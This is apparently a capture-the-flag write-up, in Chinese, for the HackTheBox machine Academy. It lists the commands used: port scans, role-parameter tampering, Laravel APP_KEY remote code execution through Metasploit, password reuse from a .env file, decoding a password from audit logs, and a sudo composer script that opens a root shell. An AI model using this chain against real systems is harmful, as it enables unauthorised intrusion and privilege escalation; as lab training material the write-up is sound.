HackTheBox >_ Academy_215
Academy_215
Scan
$ rustscan 10.10.10.215 -b 924 -t 1500 --no-nmap
$ sudo nmap -p22,80,33060 -sV -T5 -Pn -oX sploit.xml 10.10.10.215; searchsploit --nmap sploit.xml
80
加入hosts
登陆看起来没什么特殊,注册也没有限制,尝试注册
使用注册的账户登陆
academy.htb/admin.php
登陆admin是需要admin凭证的
返回注册页面,在源码中发现提交了额外的参数roleid,一般这个参数应该可以决定对账户使用的规则,也就是应该可以修改权限
抓包测试
修改包并发送
使用我们修改的凭证登陆admin页面
注意到尚未完成的,存在错误的新域名,
dev-staging-01.academy.htb
加入hosts
Laravel是一个框架。在搜索的过程中发现了如果app_key泄露则会导致rce
https://www.exploit-db.com/exploits/47129
使用msf进行利用
dBLUaMuZz7Iq06XtL/Xnz/90Ejq+DEEynggqubHWFj0=
python3 -c "import pty; pty.spawn(['/bin/bash']);"
基本的枚举和搜寻之在academy网页的文件夹下的.env文件中发现一组数据库的凭证
dev:mySup3rP4s5w0rd!!
superpassword,尝试一下是否能以root登陆mysql
失败,登陆dev
同样失败。查看home,看看是否有存在密码复用
经过尝试最终确定密码属于cry0l1t3
cry0l1t3:mySup3rP4s5w0rd!!
得到user
不能使用sudo -l
在id时可以注意到用户属于adm组,所以重点转到log
分析/var/log目录下的日志
cat * | grep -E '21y4d|ch4p|cry0l1t3|egre55|g0blin|mrb3n|root' | grep -v -i 'nikto\|fuzz\|gobuster' | less
没找到有用的信息
存在audit
audit 使用uid来区分用户行为,我们首先查看当前用户的行为
使用ausearch搜索
ausearch -if audit.log && audit.log.1 && audit.log.2 audit.log.3 -m ROLE_REMOVE -i
都是单条目,没有能发现有用的线索
尝试直接通过grep查看日志
cat * | grep "uid=1002" |less
看上去是一个成功切换用户的日志记录,根据这个格式,继续挖掘看看是否有其他的日志记录。
cat * | grep "uid=1002" |grep 'comm="su"'|less
6D7262336E5F41634064336D79210A
https://plautrba.fedorapeople.org/how-to-decode-hex-strings-in-audit-logs.html
python -c 'import binascii; print binascii.a2b_hex("6D7262336E5F41634064336D79210A")'
切换到mrb3n
mrb3n:mrb3n_Ac@d3my!
gtfobins
https://gtfobins.github.io/gtfobins/composer/
TF=$(mktemp -d)
echo '{"scripts":{"x":"/bin/sh -i 0<&3 1>&3 2>&3"}}' >$TF/composer.json
sudo /usr/bin/composer --working-dir=$TF run-script x